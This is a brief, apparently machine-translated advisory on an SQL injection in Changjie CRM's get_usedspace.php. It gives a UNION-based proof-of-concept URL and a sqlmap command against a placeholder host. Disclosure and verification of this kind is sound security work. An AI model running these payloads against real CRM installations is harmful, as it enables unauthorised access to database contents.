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Changjie Crm Get_usedspace Php Sql Injection Vulnerability

Changjie Crm Get_usedspace Php Sql Injection Vulnerability

Changjie CRM get_usedspace.php SQL injection vulnerability

Vulnerability Description

Changjie CRM get_usedspace.php has SQL vulnerability, and database sensitive information can be obtained through the vulnerability

Vulnerability Impact

Changjie CRM

Network surveying and mapping

Vulnerability reappears

Login page

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Verify POC

1
/webservice/get_usedspace.php?site_id=-1159 UNION ALL SELECT CONCAT(0x76756c6e,0x76756c6e,0x76756c6e)--

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Verification vulnerability using Sqlmap

1
sqlmap -u "https://xxx.xxx.xxx.xxx:8000/webservice/get_usedspace.php?site_id=1" -p site_id

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